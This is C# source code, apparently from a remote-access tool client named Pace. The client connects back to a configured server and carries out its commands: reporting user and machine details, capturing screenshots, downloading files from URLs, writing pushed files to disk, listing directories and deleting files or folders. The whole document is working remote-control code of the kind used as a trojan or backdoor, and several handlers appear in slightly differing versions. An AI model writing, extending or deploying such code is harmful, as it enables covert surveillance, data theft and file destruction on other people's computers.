public static void HandleGetDirectory(PaceClient client, IPacket packet) { var getDirectoryPacket = (GetDirectoryRequestPacket)packet; var path = getDirectoryPacket.Path == string.Empty ? Environment.GetFolderPath(Environment.SpecialFolder.Windows) : getDirectoryPacket.Path; var directory = new DirectoryInfo(path); if (!directory.Exists) { return; } var folders = FileExplorer.GetDirectories(path); var files = FileExplorer.GetFiles(path); var response = new GetDirectoryResponsePacket { Name = directory.Name, Path = path, Folders = folders.Select(folder => folder.Name).ToArray(), Files = files.Select(file => file.Name).ToArray(), FileSizes = files.Select(file => file.Size).ToArray() }; client.SendPacket(response); }
private static void GetDirectoryFileEntries(PaceClient client, string path) { try { var directory = new DirectoryInfo(path); if (!directory.Exists) { return; } var folders = FileExplorer.GetDirectories(path); var files = FileExplorer.GetFiles(path); var response = new GetDirectoryResponsePacket { Name = directory.Name, Path = path, Folders = folders.Select(folder => folder.Name).ToArray(), Files = files.Select(file => file.Name).ToArray(), FileSizes = files.Select(file => file.Size).ToArray() }; client.SendPacket(response); } catch (SecurityException) { NotifyStatus(client, "Insufficient privileges."); } catch (ArgumentException) { NotifyStatus(client, "Invalid path."); } catch (Exception) { NotifyStatus(client, "An unexpected error has occured."); } }
public static void HandleDeleteFile(PaceClient client, IPacket packet) { var deleteFilePacket = (DeleteFileRequestPacket)packet; if (Directory.Exists(deleteFilePacket.File)) { Directory.Delete(deleteFilePacket.File); } else if (File.Exists(deleteFilePacket.File)) { File.Delete(deleteFilePacket.File); } var folders = FileExplorer.GetDirectories(Directory.GetParent(deleteFilePacket.File).FullName); var files = FileExplorer.GetFiles(Directory.GetParent(deleteFilePacket.File).FullName); client.SendPacket(new GetDirectoryResponsePacket { Folders = folders.Select(folder => folder.Name).ToArray(), Files = files.Select(file => file.Name).ToArray(), FileSizes = files.Select(file => file.Size).ToArray() }); }
private void Run() { client = new PaceClient(); client.PacketReceived += Client_PacketReceived; client.PacketSent += Client_PacketSent; PrintDebug("Waiting for Server..."); while (!client.TcpClient.Connected) { try { client.Connect(IPAddress.Parse(ClientConfiguration.Host), ClientConfiguration.Port); } catch (Exception) { continue; } } PrintDebug("Connected!"); var packetChannel = new PacketChannel(); packetChannel.RegisterHandler <GetSystemInfoRequestPacket>((packet) => { var systemInfo = SystemInformation.Get(); var clientAddress = client.TcpClient.Client.LocalEndPoint.ToString().Split(':'); var infoPacket = new GetSystemInfoResponsePacket( ClientConfiguration.Identifier, clientAddress[0], int.Parse(clientAddress[1]), systemInfo.UserName, systemInfo.ComputerName, systemInfo.OperatingSystem ); client.SendPacket(infoPacket); }); packetChannel.RegisterHandler <DownloadFileRequestPacket>((packet) => { var downloadFilePacket = (DownloadFileRequestPacket)packet; new WebFileDownloader().DownloadFile(downloadFilePacket.Url); }); packetChannel.RegisterHandler <TakeScreenshotRequestPacket>((packet) => { var screenshot = ScreenCapture.CaptureScreen(); byte[] screenshotBytes = ScreenCapture.ImageToBytes(screenshot); var screenshotResponsePacket = new TakeScreenshotResponsePacket(screenshotBytes); client.SendPacket(screenshotResponsePacket); }); packetChannel.RegisterHandler <SendFileRequestPacket>((packet) => { var sendFilePacket = (SendFileRequestPacket)packet; File.WriteAllBytes(Path.Combine(Environment.CurrentDirectory, sendFilePacket.Filename), sendFilePacket.FileData); }); packetChannel.RegisterHandler <GetDirectoryRequestPacket>((packet) => { var getDirectoryPacket = (GetDirectoryRequestPacket)packet; var directory = new DirectoryInfo(getDirectoryPacket.Path); if (!directory.Exists) { return; } var response = new GetDirectoryResponsePacket { Folders = FileExplorer.GetDirectories(getDirectoryPacket.Path), Files = FileExplorer.GetFiles(getDirectoryPacket.Path) }; client.SendPacket(response); }); packetChannel.RegisterHandler <DeleteFileRequestPacket>((packet) => { var deleteFilePacket = (DeleteFileRequestPacket)packet; PrintDebug($"Requested deletion of file {deleteFilePacket.File}"); if (Directory.Exists(deleteFilePacket.File)) { Directory.Delete(deleteFilePacket.File); } else if (File.Exists(deleteFilePacket.File)) { File.Delete(deleteFilePacket.File); } client.SendPacket(new GetDirectoryResponsePacket { Folders = FileExplorer.GetDirectories(Directory.GetParent(deleteFilePacket.File).FullName), Files = FileExplorer.GetFiles(Directory.GetParent(deleteFilePacket.File).FullName) }); }); isRunning = true; while (isRunning) { try { var packet = client.ReadPacket(); packetChannel.HandlePacket(packet); } catch (IOException ex) { if (ex.InnerException == null) { throw ex; } if (ex.InnerException.GetType() == typeof(SocketException)) { var socketException = (ex.InnerException as SocketException); if (socketException.ErrorCode == (int)SocketError.ConnectionReset) { PrintDebug("Disconnected!"); } } isRunning = false; } } Console.ReadKey(); }